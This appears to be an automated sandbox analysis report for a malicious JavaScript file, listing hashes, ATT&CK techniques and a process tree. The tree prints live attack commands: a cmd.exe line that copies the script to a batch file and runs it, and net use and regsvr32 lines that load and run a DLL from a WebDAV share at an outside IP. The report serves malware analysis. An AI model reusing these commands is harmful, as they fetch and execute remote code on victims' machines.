accbf5224b6054b92773326c22c560eec52d5302536bf9809c62810f59694fba

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 06:12 UTC

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General

Target

3184579182140121556.js
Size

5KB
MD5

a3a26691f23f506be74e72a6dc740959
SHA1

68d5263d0ffbec81e72c555a2f5a1ff911229676
SHA256

accbf5224b6054b92773326c22c560eec52d5302536bf9809c62810f59694fba
SHA512

0a5e694d359b435548fe328bfe472115c8bd5a423ba35f4eb905f30f50959c8a8770388902bd642401bdba38916a16cfed68ac40a573629b8f9f99e66b71370e
SSDEEP

96:b4EpzOOolLhgcjGhsmF5lBJ2aIhD7lA+qnkz:EI4ltgcj0sS5lBJ2aIhD7lA3nkz

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2588	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 2876	2524	wscript.exe	30
PID 2524 wrote to memory of 2876	2524	wscript.exe	30
PID 2524 wrote to memory of 2876	2524	wscript.exe	30
PID 2876 wrote to memory of 2728	2876	cmd.exe	32
PID 2876 wrote to memory of 2728	2876	cmd.exe	32
PID 2876 wrote to memory of 2728	2876	cmd.exe	32
PID 2876 wrote to memory of 2588	2876	cmd.exe	33
PID 2876 wrote to memory of 2588	2876	cmd.exe	33
PID 2876 wrote to memory of 2588	2876	cmd.exe	33
PID 2876 wrote to memory of 2588	2876	cmd.exe	33
PID 2876 wrote to memory of 2588	2876	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\3184579182140121556.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\3184579182140121556.js" "C:\Users\Admin\\lbdupt.bat" && "C:\Users\Admin\\lbdupt.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2728
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\890.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\lbdupt.bat

Filesize
5KB

MD5
a3a26691f23f506be74e72a6dc740959

SHA1
68d5263d0ffbec81e72c555a2f5a1ff911229676

SHA256
accbf5224b6054b92773326c22c560eec52d5302536bf9809c62810f59694fba

SHA512
0a5e694d359b435548fe328bfe472115c8bd5a423ba35f4eb905f30f50959c8a8770388902bd642401bdba38916a16cfed68ac40a573629b8f9f99e66b71370e

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